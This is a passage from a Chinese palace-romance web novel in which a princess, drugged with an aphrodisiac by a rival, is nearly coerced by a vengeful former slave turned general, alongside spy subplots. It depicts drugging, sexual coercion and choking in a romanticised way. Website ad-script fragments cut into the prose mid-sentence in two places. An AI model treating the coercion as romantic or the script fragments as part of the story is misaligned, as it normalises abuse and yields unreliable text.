他身体犹如铜墙铁壁堵在周漪月身前,周漪月自知力量上绝不是此人对手,识时务地点下头。 魏溱将她放开,目光始终牢牢盯着她,如同盯着到手的猎物。 高大的身躯没有挪动寸步,像是把她圈在了怀里,两人的衣料摩擦在一起,随动作沙沙作响。 周漪月拍了拍胸口,匀了下气息,低骂:“你疯了吗,这里是皇宫!” 九重宫门,近千名御林军,宫女太监人来人往,他竟然就这样堂而皇之闯了进来! 魏溱双手环胸:“皇宫又如何,我既然能进来,自然有办法出去。” 周漪月瞥了他一眼,语气尽是嘲讽:“所以呢,阁下今日又想做什么?该不会是想在宫里行刺吧?这可比挟持公主罪名重多了。” 男人语气漫不经心:“不管是多大的罪,总得先能抓住我才行。” “你觉得皇宫里的侍卫奈何不了你是吗?” “有公主在,他们自然奈何不了我。” “无耻!”周漪月啐骂。 魏溱冷笑一声:“骂吧,若是招来了御林军,我便拿殿下当挡箭牌,让他们把我俩射个对穿,我们也好一同上路。” “你真是个疯子!”周漪月咬着牙,眼中冷怒,质问他:“你到底要什么样才肯罢休?” 魏溱骨节分明的手指抵在唇上,双目微眯,做了个噤声的动作。 轻轻启口,声音如魅:“殿下如果不想让自己的丈夫看见你和陌生男子在假山后偷情的场景,还是安静一些比较好。” “还是说,殿下想让我请他过来?” 周漪月神情一滞。 方才被他这么一吓,周漪月发现自己忘了一件重要的事:闻祁就在离她不到三丈远的地方! 她脸色霎地一白,手心沁出了汗,下意识屏住了呼吸,往四周看去。 还好,他们所在的位置十分隐蔽,外面人不仔细看根本看不出来,而他们却能透过石隙清楚地看见假山外的景象。 周漪月转向身后的男人:“你最好有办法逃出皇宫,否则我一定让你死在这里。” 魏溱哑然失笑:“我可是好心请殿下看一场好戏呢。” 他扬了扬下巴,示意周漪月往外边看。 周漪月顺着他的目光转头看去,闻祁就站在离他们不远的地方,旁边还有一个脸生的粉衣女子,看打扮像是宫女。 她心生疑惑,只见闻祁匆匆忙忙追上那宫女,叫住了那人。 “大人……”宫女忙不迭跪下,满脸不可置信,“大人没有死。” “你认得我。”闻祁几乎可以确定此人的身份了,“那日熙春楼的乐伎就是你,对不对?” “是……” “说,你是谁,你奉何人之命接近我?你和那个高大人是什么关系,你们到底有何目的?” 地上女子始终不发一言。 闻祁转了转手上玉扳指,沉声道:“姑娘若不想说,在下只能把你送到官府查办了,到了那里要是再想说,可就没有那么轻松了。” 锦绣低着头,双目盈满泪水,长睫一眨,泪珠簌簌往下掉。 “你——” 锦绣咬着无血色的唇,梨花带雨道:“驸马爷,奴婢锦绣,原是教坊司的乐伎,被高大人赎身之后,受邀到熙春楼赴席。” “谁承想,驸马那日喝多了酒,强行要了奴婢的身子,之后便在床上人事不省。奴婢害怕极了,后来听到外面喊熙春楼失火,更是六神无主,一人逃了出去。” 假山后的周漪月好似被当头一棒,几乎抑制不住想要冲出去,魏溱攥住她的胳膊,低声道:“殿下还是看完比较好。” “拿开。”周漪月毫不客气将他手拨开。 锦绣娇美的容颜上泪痕斑斑,瞧着我见犹怜:“奴婢以为自己害死了当朝驸马,哪也不敢去,后来多方打听才得知驸马爷没死。” “我此番进宫就是为了见大人,奴婢自知身份卑贱,只要驸马爷收留我,奴婢愿给爷当牛做马。” 她说得动情,闻祁始终不发一言,末了,淡淡一笑。 “姑娘的话,漏洞太多了。” 锦绣擦泪的动作凝在半空。 他不紧不慢道:“第一,你若是想找我要个说法,为何前几日不去公主府,反而要来戒备森严的皇宫。” “你既然是混入宫的,为何方才故意在我面前出现,又将我故意引来此地?” “至于我那日晕过去之后发生的事,全是你一面之词,我怎么知道,姑娘说的是真是假?” 他走近一步:“我猜,姑娘是想趁着这次的宫宴威胁我,如果我不答应你的条件,你就将此事捅破闹大,好让我身败名裂吧?” “还不肯说实话么?” 锦绣身子颤了一瞬,咬了咬唇,撩开宽大的衣袖。 凝脂似的皮肤上光洁无痕。 “奴婢已经没了守宫砂,还有,大人在床事上有很多自己的习惯……若是需要,妾身可以证明。” “至于大人那些疑虑,锦绣一介风尘女子,只是想活下去而已,做事不可能事事周到。若是大人不肯接受奴婢,奴婢唯有一死了之。” 今日宫宴盛况空前,来的都是达官显贵,若真让她在这里寻死,吃亏的还是闻祁。 沉吟了半响,闻祁终是让步:“罢了,我会给你一个解决方法。我先派人将姑娘送出宫,我们再好好商议此事……姑娘总不急在这一时吧?” “谨遵大人吩咐。” 锦绣见目的已经达到,也不欲和他在这里纠缠,按照他的吩咐离开了。 两人走后,周漪月看向身旁那人,冷眼如刀:“你让我看的就是这个?” 男人挑了挑眉:“我是为殿下着想,自己的驸马在外面惹了风流债,难道殿下准备忍气吞声?” “你当我看不出来那人是你安排的?”周漪月反唇相讥,“而且,就算是又如何,我可以跟名士们游山玩水,我的驸马就不能宠幸别的女子吗?” 魏溱嘲讽勾唇:“殿下心思敞亮,果真不同于一般女子。” 周漪月捋了捋衣袖上的褶皱,笑靥如花:“多谢夸奖,如果你以为凭一个来历不明的女人就可以离间我们,只怕你打错算盘了。” “不,殿下误会了。” 他笑了笑,凑近她耳畔,灼热的呼吸洒在她脖颈。 “我是希望你,杀了她。” 周漪月瞳孔骤然扩散,难以置信看着他。 魏溱双手环胸,“这不是你一向的作风吗?若是这个女人一直对你驸马纠缠不休,将事情闹大,你们二人都会陷入麻烦,你迟早会除掉她。” 周漪月纤背靠在假山石上,捂着胸口,怒视于他。 魏溱戏笑:“怎么,又猜中你的想法了,气到说不出话来?” “殿下扮久了贤妻,连怎么杀人都忘了,把人拿鞭子打伤后还贴心给人上药,呵,我怎么不记得殿下还有这种习惯?” 她就是喜欢激怒她,看着她受辱又不得不咬牙忍受的样子,让他整个身心都非常愉悦。 魏溱说罢这话,唇角含笑看着她,以为她定会像之前那样,满面嗔怒,张牙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舞爪扑上来要跟他拼命。 令他意外的是,面前女子紧抿着唇,一动未动,始终没有开口。 空气似乎凝滞了半响,两人一时陷入沉默,周漪月身体轻微颤栗,突然抬起头朝他靠近一步。 双颊染上红晕,像是熟透的樱桃。 魏溱剑眉蹙起,眼睁睁看着面前那张美艳的脸越来越近,淡雅馨香扑鼻而来。 下一刻,她踮起脚,捧起他的脸,红唇贴上他的嘴。 眼前的这一切来得毫无征兆,魏溱几乎滞在了原地,就在他愣住时,女子的舌尖趁机撬开他的齿关,攻城夺池般探入。 魏溱愠怒想将她推开,可女子比他的态度更强硬,勾住他的脖子不肯放过他。 湿濡的触感几乎要撩起他的欲望,他发了狠,嘴上用力咬下,猛地将她推搡出去—— “周漪月!” 他掐住她的脖子,近乎歇斯底里:“你还想用这种招数迷惑我?你以为勾引我就能让我重新对你摇尾乞怜吗?” “我告诉你,你做梦!” 当初的她就是这样,毫无顾忌地装可怜伤害自己,让他一次又一次地让步、妥协,被她牢牢玩弄于掌心。 曾经一次,他跟周漪月说,自己不想再跟她保持这样畸形的关系。 原本他已经下定了决心,无论她说什么都不会心软,结果还是在见到她泪水的那一瞬间败得溃不成军。 “阿弃,你怎么能忍心抛下我……我要怎么做你才能留下来……” 她满面泪痕,近乎自毁般一件件脱去自己的衣服。 “听说父皇的女人们都是用这种方法留住他的,我求你,求你留下来好不好……我只喜欢跟你在一起……” 当时,他就那样定定看着她,缓缓脱下自己的外衣,裹住少女纤细皓白的身子。 俯身吻去她眼角泪痕,半跪在她身前:“我不会离开你的……我唯一的,主人。” 少女破涕而笑,环住他的脖子,朝他肩膀上狠狠咬去。 “留了我的印记,就要跟我一辈子在一起哦。” “阿弃哥哥……” 过往的回忆在脑海中叫嚣,他的手越发收紧,周漪月被他掐得喘不过气,身体剧烈挣扎,脸上红晕渐盛。 嘴里传来几声呢喃:“好热……好热……” “什么?” 魏溱拧了下眉,松开手,仔细打量她。 面前的女子衣衫凌乱,嘴唇被他咬破的地方血珠溢出,如红梅落雪。 一双潋滟凤目黯淡无光,目光涣散,显然没了自己的意识。 她就那样直勾勾地,沉迷地看着他,仿佛天地间只剩下了他一人。 此时的周漪月脑子一片空白,眼前的景象好像都消失不见了,她越发清楚地感受到体内的燥热和痒意。 身体就像一个火药桶,急切地想寻找凉气降温。 她再次凑上来,整个身体趴在他胸膛,环上他精壮的腰,贪婪摄取他脖颈间的寒气。 丝丝凉凉的感觉,体内燥意似乎少了几分。 周漪月还嫌不够,纤长秀美的手胡乱扯着他的衣服。 就在她的手要摸到不该摸的地方时,魏溱一把捉住她手腕,探了探脉搏。 春情散? 这可是比媚药更阴毒的东西,一旦服下便会神志不清,两个时辰内若不与人行房事便会暴毙而亡。 “帮我……帮我……” 周漪月嘤咛出声,整个身体都在急切渴求。 “确定要我帮你吗?” 魏溱笑得恶劣,“如果你醒来后知道自己委身于一个混蛋,会绝望到想自杀吧?” 这似乎,也是种不错的报复手段。 他慢条斯理挽起袖口,挑起她的下巴,用她曾经居高临下的那种语气,问她—— “再问你一次,想要吗?” 唇线轻勾,像是蛰伏已久的猎手,一点点收网。 16.趁危 “嗯……”女子美目惺忪看着他,无力点下头。 他笑了笑,单手揽着她的腰,把她往一旁平整的矮桌上带,覆身压在她身上。 大手抚上她的衣裙,向上撩去。 掌心的温度熨帖上女子的皮肤,她的身体开始战栗不止,珠钗金簪摇摇欲坠,齐整的发髻松散得不成样。 魏溱冷冷启口:“看着我说,你想要。” 女子紧闭双眼,长睫颤抖,娇艳的红唇嗫嚅出声。 “我想要你……” “阿弃……” 男人往上游走的手停住。 竹影映在两人侧脸,周遭静极了,她的话轻飘飘落下,显得异常刺耳。 “你叫我什么?你再说一次!” 他歇斯底里摇晃她的身子,拼命想从她的脸上找出她清醒的证据,可女子眼中只有迷蒙的水雾,倒映着他的模样。 仿佛刚才那一瞬只是他的错觉。 周漪月痛苦拧着眉,死死咬着自己的嘴,方才被咬破的地方再次渗出血珠。 她的身体已经忍耐到了极点,理智和欲望在做剧烈的抗争。 嘴里含糊出声:“起开……别碰我……” 她用自己仅剩的理智拒绝面前这个男人,柔弱无骨的手推搡他的胸膛,力气轻到像是在调情。 “当初是谁靠出卖肉/体求我留下来,现在我碰一下就嫌脏?” 他扣住周漪月的手腕,轻轻一压便压在石台上。 “不碰你?你再不解开药效,不出半刻就会全身筋脉尽断,暴毙而亡。” “你的驸马早就走远了,你想活下去,唯一的法子就是求我。公主殿下,我劝你再好好想想。” 周漪月眼中已经溢出了泪光,眼尾泛着红,猛然发了狠劲挣脱开他的手,往自己脖子上抓挠。 她疯狂挠自己脖子上的肉,直到抓出了血痕也不肯停下,扯开自己的衣领,捶打自己的心胸。 “够了!” 魏溱暴戾的黑眸腾起怒火,像一只被激怒的野兽:“一身反骨,无药可治!” 周漪月痛苦仰起脸,泪水涌出眼眶。 她这副可怜的样子落在魏溱眼里,像是被什么东西灼了一瞬,他抽出手按上她额头,比火炉的温度低不到哪去。 的确是到极限了。 他目光顿时变得复杂,慢慢从她身上起身,从随身带的药瓶中拿出一颗药丸,掐住她的下巴塞进她嘴里。 “咳咳……咳咳咳……” 魏溱好整以暇看着她,咳嗽了好一阵后,周漪月渐渐缓过神,眼里一片清明。 她环视四周,看着自己衣衫不整的样子,还有面前那个高大冷峻的男人,上前就朝他扬手扇去—— 魏溱早料到她会发作,大手捉住她手腕,声音冷寒:“方才还柔情似水的,怎么现在就要打人,殿下变脸是否太快了些?” 周漪月哪里肯听他说什么,另一只手朝他挥过来,又被他钳住。 “松开,你这个疯子!狂徒!无耻下作!竟然敢对我下媚药!” “我无耻?我怎么觉得是你为了勾引我,特意吃了助兴的药好趁人之危呢?” 周漪月恶狠狠看着他,牙咬得咯咯响,一副要吃人的样子。 魏溱薄面蕴着怒色:“公主殿下,我对你这具身体没有任何兴趣,甚至看到就想作呕。你骂人之前不妨好好想想,自己招惹了什么小人,方才又吃了什么东西。” 前几日,司枫的确是说要给安排一番,几乎是拍胸脯保证:“少将军放心,末将安排得天衣无缝,绝对不会被人发现!” “末将也是男人,这些东西都懂,少将领兵这么多年从不近女色,一直委屈自己哪成?还是需要定期纾解纾解……” 话还没说完就被面前的男人照着胸口一脚踹翻。 魏溱黑着一张脸,满面煞气:“下次再自作聪明,一百军棍,绝不轻饶!” 周漪月想起方才入口的酒,那奇怪的味道,似乎跟先前喝的不太一样。 “想起来了?” 魏溱看着他变或莫测的神情,将她缓缓松开,戏谑问了一句:“吃了春情散是要发散的,虽说给你喂了解药,但只是暂时压住了药性。” “公主殿下如若需要——” 周漪月抬目,冷声打断:“跟你?我倒不如去找一条狗。就算你没有给我下药,你敢说自己没有没有趁人之危之嫌?” 魏溱不怒反笑:“这一点我倒是不否认,不过,不管公主是想找一条狗还是找谁,你现在都出不去了。” 周漪月蹙眉,往外看去,只见远处有一行人正朝这边走来。 “皇妹带我们来这里做什么?”为首的太子头戴金冠腰系玉带,下颌轻抬,满身傲气。 他身旁的周林婉柔声道:“过几日就入春了,我想在宫中办一场丹青盛会,以竹为题。听闻御花园中此处竹林最盛,便想着邀诸位皇兄和公子一同前来,询问诸位的意见,也好布置得更妥帖些。” 除了周林婉和太子,身边还跟着一众皇子,以及几位世家公子们。 几人在附近逛了几圈,眼见就要往周漪月和魏溱的方向而来—— 周漪月心中大惊,攥上男人的衣领:“会武功就带我出去,否则我们都玩完。别以为我看不出来,你来皇宫的目的不是为了我。” 魏溱扬起眉:“这是殿下求人的态度?” “不想帮,那我现在就出去喊人抓刺客,大不了一起死。” 周漪月转身就要出去,魏溱眉眼一凛,将她拦腰揽住,半抱半拖带进另一侧的石洞里。 洞外长着密密麻麻的枯藤,人从外面看根本看不出来,周漪月从小生活在皇宫,竟不知道此处还有这样的地方。 他是怎么知道的? 周漪月忍不住抬头,仔细打量眼前男子。 他半张脸隐匿在阴影中,从她这个角度能清楚看到他侧脸冷硬的线条,眉弓压眼,眼角尖锐如鹰目,眸底似有暗流涌动,满脸阴鸷狠戾,薄唇又带着几分轻盈肃杀。 处处洋溢着危险野性的气息。 见到此人之后,周漪月所有的反应,所有的细节都在告诉她,他们已经认识了很久。 可她就是想不起来,怎么都想不起来这张脸。 周漪月垂下眼帘,决定不再看他。 洞内狭窄,周围有不少石缝,能藏身的位置十分有限,外面脚步声越来越近,魏溱放在她腰上的手收紧,把她往自己怀里带。 周漪月脸整张几乎要贴上他胸前衣料,如此暧昧的姿势让她顿感不适,身体开始扭动挣扎。 只是轻微晃动了一下,头上就传来男人的警告声:“别乱动。” 方才那一吻的温度还留在魏溱唇上,周漪月刚中了春情散,身体处处都是暧昧的气息,媚骨天成的身体比春/药还要诱人。 降红色大氅下,她微湿的衣衫紧贴在身上,勾勒出曼妙的曲线。 只是一眼便让人身子骨发麻。 女子发间馨香充盈男子鼻端,他闭上眼,脑门突突地跳。 身体的本能反应骗不了人。 当初他有多迷恋她,现在就有多悔恨。 忍了半刻,终是忍无可忍,伸手压下她的兜帽拢好她的鹤氅,将她从上到下包裹得严严实实,强行隔开他们的身体。 周漪月这才注意到他紊乱粗重的呼吸,还有自己腿间难以忽视的触感…… 她往后缩了一缩,狠狠剜了他一眼,脸上满是恼意。 不用想也知道她心里骂得有多难听。 魏溱一记眼刀回过去:你先挑火的。 石洞外,周林婉脸上始终挂着得体娴静的微笑,转头小声问一旁的侍女:“你确定她是往这里来了?” 侍女也有些着急:“奴婢看得千真万确,怎么会见不到人呢?” 周林婉神情变得有些难看,目露阴狠;“你可知道,为了让她喝下那药,我花费了多大功夫,布了多少局?” 侍女垂首不敢出声,周林婉气得跺脚:“哼,一旦服下春情散,就是神仙也难逃其效,周漪月定会失去理智做出不齿之事,我好不容易走到这一步,一定要把她找出来!” 两人的话传入周漪月耳中,她心中一点点升起寒意,眸底越发幽暗。 魏溱非常了解她这副神情意味着什么,笑问:“你想杀了她?” “跟你无关。”周漪月登时呛了回去,却没有否认。 一行人转了一圈又一圈,都说此处位置不错,既清幽又有雅趣,用作丹青会这样的雅会再适合不过。 外面再次传来太子的声音:“时候不早了,宫宴尚有许多事需要本宫处理,不如我们回乾和殿罢。” “太子哥哥这便要回去了吗?”周林婉急声道。 “皇妹还有什么事吗?” 周林婉没做声,几人纷纷应诺,一行人逐渐消失在宫道转角处。 等外面终于没了动静,周漪月从魏溱身上挣开,头也不回走了出去。 “殿下,别忘了考虑我方才说的事。” 魏溱叫住她,一个转身拦在她身前,“若你不杀了那个女人,她便会让这件事传遍大街小巷,殿下最好不要冒这个风险。” 周漪月冷笑看着他,眸中潋滟的水光凝成了冰。 “来人——有刺客!快来人!” “有人要行刺,抓刺客!” 魏溱脸色骤变,瞬间反应过来,神情陡然冷戾:“今日之事我记下了,你我之间的恩怨总要有个了断,你且给我等着。” 他身子纵跃而起往远处躲去,一阵脚步声后,巡逻侍卫们闻声而来,抱拳行礼:“朝珠公主,方才发生了何事?” “我撞见一个形迹可疑的歹人,乌金色衣服,身量八尺,身上还带着刀,往那个方向去了。” 周漪月给他们指了指方向,“他一定还在这里,今日来的都是王公贵族和大晋使臣,若是出了什么差池,只怕你们担待不起。” 侍卫们一听说皇宫里混进了刺客,登时紧张起来:“去搜,一个角落也不能放过!” 不远处的绮春宫内静谧如常,过了一会,响起一阵急促的脚步声,流莺急匆匆步入正殿。 殿内暖意如春,银丝炭萦着微火,屋内陈设雅致,架子上摆满了书籍,几乎将架子塞满。 流莺入殿时,杜美人手里拿着绣棚,针线一下接一下次扎破绣布。 杜美人常这般独坐,一坐就是几个时辰,举手投足娴静温和,眉眼间却带着股疏阔气,与一般嫔妃甚是不同。 见她进来,杜美人问:“外面出了什么事?” 宫女躬身道:“回美人,外面是禁军侍卫们,说是有刺客闯宫,正在搜人。他们特地差人来问,绮春宫内是否有可疑人出现。” “你去跟他们说,我这里没有刺客,陛下下过旨意,任何人不得来绮春宫扰我清净,除非他们敢违抗圣旨。” “是,奴婢这就去回了他们。” 宫女离开后,杜美人朝里面道:“将军出来吧。” 里屋内,魏溱掀开帘子走出,俊朗的五官在炭火映照下明明灭灭。 杜美人道:“将军不该这么大张旗鼓地过来,会暴露彼此身份。” 魏溱失笑:“只不过惹上一点小麻烦——” “青雁姑娘,不会介意吧?” 杜美人垂下眼帘:“许久没人叫过我这个名字了。” 魏溱道:“我们都以为你还是宫女身份,几乎找遍了所有的宫殿,没想到你成了梁帝的女人。” 语气中夹杂着一丝意味深长。 “将军不必多想,既然要接近皇帝,这是最简单的方法。晋人为了自己的国家连生命都可以不要,何况区区残身。” 她缓缓起身,身怀六甲的身子让她行动甚是迟缓,丝毫看不出是武将之女。 也很难让人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 相信,如此瘦弱的身子,敢在梁帝眼皮底下做出通敌这般胆大妄为的事。 “还好,你们终于来了,我已经等你们很久了。” 温和疲惫的声音,像是挣脱了枷锁的囚犯,又像是走遍千山万水的归客。 魏溱没说话,只见她转身从柜中拿出一个带锁的匣子,咔哒几下将匣子打开,取出一枚钥匙。 “这是藏书阁的密钥,将军拿着这个便可以自由进出藏书阁,那里有我们想要的所有东西。” 魏溱将那物小心收好,末了,从袖中拿出一封信:“你的幼弟我们已经找到了,他还活着,只是后半生只能依靠轮椅了。这次我们来,他专门托我们给你稍来一封信。” 杜美人满面震颤,浑身觳觫个不停。 她颤抖着着接过那信,小心翼翼拆开信封。 偌大的宫殿,只有纸页的沙沙声,和泪水滴落其上的声音。 魏溱看向她隆起的肚子,声音淡漠无温:“我们迟早要与梁人交战,你最好尽早割舍在这里的感情。” 杜美人平静收好信,闭了闭眼,将信纸扔进了铜炉中。 火舌窜起,瞬间将信纸吞噬殆尽。 “将军错了,我对这座梁宫没有任何依恋。” 魏溱不冷不淡道:“听说杜美人极受梁帝宠爱,你若不爱他,为何会给他生子?” “爱?”杜美人抚上自己的肚子,目光穿透厚厚的宫墙,看向远处巍峨的太和殿。 “我怎么可能爱他?他领兵杀死了我的父兄,屠我数万晋人,害得我家破人亡,为奴为婢,在深宫中受辱这么多年——你觉得,我会爱上这样的男人吗?” “将军,换做是你,你会因为恨而爱上一个人吗?不会显得很可笑吗?” 她转眸看着他,双目蓄满泪水,声声质问,像是要诉尽平生不甘。 悲凉决绝的目光扫过来时,看得人心里没来由地一寒。 魏溱站在那里,冷沉着脸,迟迟没有说话。 绮春宫外。 侍卫们找遍了那四周也没发现刺客的踪影,来找周漪月禀报时,她冷问:“你们确定没人离开那个园子?” “属下确信,除非此人有飞天遁地之能。” 怒气上涌,周漪月强忍着缓了缓气,对他们道:“在各宫周围严加防守,今日之事,不要惊动任何人。” “是,属下遵命。” 周漪月心下顿生烦躁。 为今之计,只有从晋国使臣那里找线索了。 她抚了抚额边的碎发,刚才经那一遭,头上发钗摔坏了不少,左手丢了只指环,连腰间帕子也丢了。 她在心里把那个混蛋骂了一百遍。 如今她这样子不能回寒香园,便往朝珠宫方向去了。 周漪月随侍女更衣回来后已是酉时,乾和殿内殿外皆是人声鼎沸。 此处金柱玉阶,宝顶流光,殿中宴席一眼望不到边,宫人们手捧玉盘穿梭其间。 窦皇后见周漪月入殿,忙把她叫过来问她这么长时间去哪了,周漪月随口诌了个谎,算是应付了过去。 采莲见着她也是叽叽喳喳说个不停,说方才她离开的时候,皇后娘娘找了她许久,周漪月有些心不在焉,点头表示自己知道了。 周林婉和她的几个皇兄,还有方才的几位世家公子都从外面回来了,一群人围在一起商讨丹青会的事,好不热闹。 周林婉正说着,似乎感觉到了什么,朝周漪月这边扭头,正好触上她的视线。 周漪月朝她笑着点头示意,周林婉怔了一瞬,毫不犹豫转过头去。 端的是做贼心虚。 女眷们这边有一道丝织行障,挡住了外边的视线,周漪月决定慢慢跟周林婉算这笔账,暂时按下春情散的事,环视四周,寻找自己想找的人。 她走出行障,朝一人走去。 “左大人。” 左知熠回过头,见是朝珠公主,肌肉下意识地绷紧,忙不迭行了一礼:“见过公主殿下,不知殿下有何吩咐?” 周漪月不答话,寒暄道:“听闻此次晋国使臣入京,是由左大人全程接待,当真亲力亲为,十分辛苦。” 左知熠心里犯嘀咕,这位主怎么好端端的来拍她的马屁了,面上只道:“不敢当,都是臣份内事。” 周漪月眉眼俱是笑意:“其实来找左大人,是因为有个不情之请。” 听说有不情之请,左知熠还以为这位主又要提出什么折腾人的想法了,语气不由僵了一僵:“殿下请讲。” “前几日我从一位夫人那里得了本游记,得知晋国地处中原,有不少梁夏没有的美景,我与驸马正想去那里游玩一番,便想着想结交几位使臣。不知大人可能为我引见?” 原来是这么回事,听说只是想认识晋国使臣,左知熠心里松了口气。 “好说,这次使臣来访是晋国的崔涯崔大人负责,殿下若有什么请教的,只管找崔大人问便是。” 左知熠做了个请的动作,把她带到崔涯跟前,向他说明了来意。 周漪月和那个崔涯交谈了一会,总觉得此人看自己的神情有些怪异。 虽然谈吐得体有礼,可那眉眼间分明带了一丝僵硬,余光一直往另一处瞥,像和她说话要看谁的脸色似的。 周漪月心下不解,正要询问,崔涯像是看到了什么,骤然绷直身子,向后退了一步,与她错开一点距离。 “崔大人躲在这里结识佳人,怎么也不为我介绍介绍?” 周漪月转身,便见一道乌沉身影踏步而来,似笑非笑的俊脸直直映入周漪月眸底、 鹰眸含笑,朝她点头示意,眼神分明在说:“公主殿下,是在找我么?” 空气一瞬凝滞,周漪月心里大骇,双腿不受使唤地往后退,手如溺水般胡乱往身后抓去。 “哗啦——” 一方桌布被扯下,金杯玉盏坠落在地,摔得粉碎。 17.施压 整场宴会,周漪月都浑浑噩噩地坐着,像被抽了魂,虚无地在殿内飘着。 坐于上首的父皇母后说了些什么她已经听不到了,她只觉得不断有凉意顺着脊背往上爬,冲撞她的脑海。 身旁的闻祁察觉到了她的异样,拉着她的手问怎么这么凉,周漪月苍白着脸,摇头说自己没事。 想到自己唇上还有伤,她脸色有些不自然,拿起金杯佯装喝酒。 “驸马,你方才在宫里可有遇到什么人?” 闻祁笑问:“公主说的什么人?我从太和殿出来后,只遇上几个同僚,聊了些政令上的事。” 周漪月盯他盯了好一会,没说什么。 身旁的齐嬷嬷早就注意到了她的异样,顺着她的目光往对面席上的那人看去。 似乎像,又似乎不像…… 记忆里那个梁国罪奴,墨发蜿蜒,白衣覆身,手腕脚踝上被镣铐磨出血痕,脖上永远挂着一圈锁链——公主会根据自己的心情挑选喜欢的样式,举着粉团似的手在他脖上比划。 每次在公主面前,他总是低眉顺眼的样子,脸上没有一丝少年的鲜活气,黯淡的眼神,像是被人遗弃的玩偶。 可面前这位,眉眼凌厉,身姿挺拔,浑然天成的上位者气息,哪还有半分奴隶的样子。 齐嬷嬷心下有些疑虑,可转头看着自家公主这魂不守舍呼吸困难的样子,又几乎可以确定是他。 想来两人已经周旋过了,倘若跟她们此前猜测的一样,前不久那些事都是这个人做的话…… 皇后娘娘断不会让此人活在世上。 周漪月心不在焉陪闻祁说了几句话,面上尽量装作无虞,余光不时瞥向对面那人。 魏溱却是面色无常,偶尔端起酒盏轻抿一口,和身旁的臣子交流几句,始终没有往这边看。 推杯换盏中,随着最后一曲琵琶音消散,宫宴在梁帝一句“愿与晋国永结同好”中结束了。 王公贵族们乘着华贵马车沿宫道缓缓行驶,闻祁将周漪月送上马车后,嘱咐齐嬷嬷回去给公主煮一碗醒酒汤。 “驸马不回去吗?” “我还有些事需要处理,公主先回府罢。” 周漪月点点头,没问什么,吩咐车夫离开了。 拐过几个转角,周漪月叫停了马车,对齐嬷嬷道:“留在这里等我,我马上就回来。” 闻祁这厢正缓步朝一处凉亭走去。 月光斑驳照在四角飞檐上,亭下人身子挺拔,玄色劲装几乎与黑夜融为一体。 “不知魏将军约我来此,有何指教?” “我还以为闻大人已经和公主出宫了。”魏溱转头看向他,笑说:“方才宴席上,在下无意吓到了朝珠公主,不知公主殿下可有大碍?公主乃金枝玉叶,我等武人粗犷,若有冒犯,还望驸马转达我的歉意。” 闻祁听得出他那语气里没有一分歉意,声音渐渐褪去温润,不冷不淡道:“将军言重了,公主并无大碍。” 魏溱笑笑,从袖兜中掏出一方帕子,扬手扔给了他:“公主遗失在我这里的,还请替我物归原主。” 闻祁看着那帕子上的猎月图案,迟迟未语。 魏溱见他这般神情莫测,心下便明了了,双手环胸:“听说闻驸马最近在查我?” 骤然被他点破,闻祁垂下眼帘,哑然失笑:“魏将军今早便是这般架势,仿佛受了千般委屈,来找闻某讨要公道来了。” “可是人心易变,世事无常,即便她曾经行事荒谬,她也是我的妻子。更何况时过境迁,尽是笔糊涂账,将军又能如何讨要公道?” 宦场历练多年,闻祁不论什么时候说话都是娓娓道来的模样,如山涧清泉清冽而温和,旁人不自觉就会跟着他的步伐走。 魏溱却只是冷笑一声,勾着凉薄的唇:“驸马爷到底想说什么?” “闻某并不想教训将军,也不欲给人判糊涂官司,我心中所执所念唯公主一人而已,也许她曾经做过很多错事,但她之于我,是唯一的妻子,也是此生至宝。” 说这话时,他细长的眼瞳灼然若有火燃。 魏溱嗤笑出声:“所以我才必须要你离开她,不止你,我要她身边所有人都弃她而去。” “我若不答应呢?” 魏溱兀自坐了下来,翘着腿,一派放浪不羁:“闻驸马,你没有经历过我所受的屈辱,根本不知道你那公主是个什么东西。你待在她身边,迟早万劫不复。” “驸马爷一向是聪明人,为官多年不站队不结党,还能在朝堂上屹立不倒,自然明白何为最佳选择。天下女人何其多也,岂能因一个小小女子,弃大好前程于不顾啊?” 他缓缓抬目,直视于他:“奉劝你一句,最好早日离开她,否则你在她身边一日,我便不会善罢甘休。” 那日的宫宴,宫里宫外都在传那夜的乾和殿是何等的奢华,说宴席上摆的不是珍馐五谷,而是瑶池仙果,金馔玉粒。 当日,梁帝和晋国使臣各执朱笔,于黄绢上缔结合约,两国永结同好。 除了缔约,当日还发生了一桩小事,嘉阳公主在宴会之后无端掉进了池塘,正好是一处没什么去的角落,池底淤泥深厚,她在水了扑腾了快一个时辰才被发现。 之后,嘉阳公主生了一场大病,醒来后像中了邪似的,逢人就说有人要害自己。 梁贵妃对此大发雷霆,把阖宫上下搜查了个遍也没找到真凶。 倒是那嘉阳公主,自此便落了腿疾,步履蹒跚,再也不复往日轻盈之态,帝后遍寻名医,终是没能挽救回来。 没过几日,太子带着户部一众官员赴各地赈灾,闻祁也带着鸿胪寺的官员赶往边地查看灾情。 这一去就是十几天。 周漪月趁着这段时间多方打听,好好梳理了那人的线索,恨不得将那人族谱翻过来找。 魏溱,晋国镇远大将军独子,元朔二十五年下落不明,直至四年后方找回…… 时间刚好对得上,也就是说,此人沦为罪奴那几年,一直待在她身边吗? 可她不明白,自己为什么将此人忘得一干二净,连半点记忆都找不到。 明明其他罪奴她都还记得。 还有,他既然跟了自己,又是怎么在自己手底下逃出宫的,她已经吩咐奴仆将那些人处死扔进乱葬岗。 周漪月心里有太多疑问,但唯有一点确定,凭他晋国使臣和将军的身份,她一时半会动不了他。 得想个别的法子。 周漪月望着床顶出神,华丽的帷顶像一阵阴云压在她的心头,闷得她胸口生疼。 忽而一股香味透过层层床帘钻将进来。 “安神香的香料换了吗,怎么闻着与往日不同?” 这些日子她总是睡不安稳,一晚上能睡上三四个时辰都算奢望,每夜都要靠安神香入睡。 齐嬷嬷心头一跳,她前几日刚从坤宁宫拿了新的安神香,桂兰姑姑专门交代她,说这次香料的效力强了两倍,让她掂量着用量。 她生怕周漪月发现什么异常,故作平静道:“许是其中的哪一味换了料,奴婢闻着倒是没什么变化。” 周漪月便作了罢,齐嬷嬷上前将床帐放下,掩上房门退了出去。 二月,莺飞草长,深冬的寒意悄悄散去,堆积了一整个冬日的雪开始融化。 天气回暖,街上人也多了起来,白日里,墉都人声鼎沸,至子时,万家灯火渐次熄灭,整个京城仿佛被一层宁静的薄纱笼罩。 梁宫东南处的四方馆内庭院寂静,几道黑影在屋顶移动,紧接着,兵刃相交声乍然响起。 